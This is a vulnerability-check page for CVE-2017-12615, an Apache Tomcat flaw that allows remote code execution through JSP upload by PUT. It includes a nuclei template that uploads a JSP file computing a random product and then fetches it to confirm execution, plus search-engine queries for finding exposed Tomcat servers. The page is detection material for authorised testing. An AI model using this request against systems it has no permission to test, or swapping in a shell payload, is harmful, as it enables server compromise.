Apache Tomcat Servers - Remote Code Execution

Exploited in the wild. Listed by CISA on 2022-03-25; known to be used by ransomware.

highseverity

8.1CVSS score

99.7%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Apache Tomcat servers 7.0.{0 to 79} are susceptible to remote code execution. By design, you are not allowed to upload JSP files via the PUT method. This is likely a security measure to prevent an attacker from uploading a JSP shell and gaining remote code execution on the server. However, due to the insufficient checks, an attacker could gain remote code execution on Apache Tomcat servers that have enabled PUT method by using a specially crafted HTTP request.

Impact

Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected server.

Fix

Apply the latest security patches or upgrade to a non-vulnerable version of Apache Tomcat.

How to confirm it

Send: PUT /{{randstr}}.jsp/
Positive when: status 201
Send: GET /{{randstr}}.jsp
Positive when: contains "{{result}}" AND status 200

Run it with nuclei: nuclei -id CVE-2017-12615 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2017-12615

info:
  name: Apache Tomcat Servers - Remote Code Execution
  author: pikpikcu
  severity: high
  description: |
    Apache Tomcat servers 7.0.{0 to 79} are susceptible to remote code execution. By design, you are not allowed to upload JSP files via the PUT method. This is likely a security measure to prevent an attacker from uploading a JSP shell and gaining remote code execution on the server. However, due to the insufficient checks, an attacker could gain remote code execution on Apache Tomcat servers that have enabled PUT method by using a specially crafted HTTP request.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected server.
  remediation: |
    Apply the latest security patches or upgrade to a non-vulnerable version of Apache Tomcat.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615
    - https://lists.apache.org/thread.html/8fcb1e2d5895413abcf266f011b9918ae03e0b7daceb118ffbf23f8c@%3Cannounce.tomcat.apache.org%3E
    - http://web.archive.org/web/20211206035549/https://securitytracker.com/id/1039392
    - https://nvd.nist.gov/vuln/detail/CVE-2017-12615
    - http://breaktoprotect.blogspot.com/2017/09/the-case-of-cve-2017-12615-tomcat-7-put.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2017-12615
    cwe-id: CWE-434
    epss-score: 0.99707
    epss-percentile: 0.99951
    cpe: cpe:2.3:a:apache:tomcat:7.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: apache
    product: tomcat
    shodan-query:
      - title:"Apache Tomcat"
      - http.title:"apache tomcat"
      - http.html:"apache tomcat"
      - cpe:"cpe:2.3:a:apache:tomcat"
    fofa-query:
      - body="apache tomcat"
      - title="apache tomcat"
    google-query: intitle:"apache tomcat"
  tags: cve2017,cve,rce,tomcat,kev,vulhub,apache,fileupload,intrusive,vkev,vuln

flow: http(1) && http(2)

variables:
  num1: "{{rand_int(30000, 40000)}}"
  num2: "{{rand_int(30000, 40000)}}"
  result: "{{to_number(num1)*to_number(num2)}}"

http:
  - raw:
      - |
        PUT /{{randstr}}.jsp/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        <% out.print({{num1}}*{{num2}}); %>

    matchers:
      - type: status
        status:
          - 201
        internal: true

  - raw:
      - |
        GET /{{randstr}}.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{result}}"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from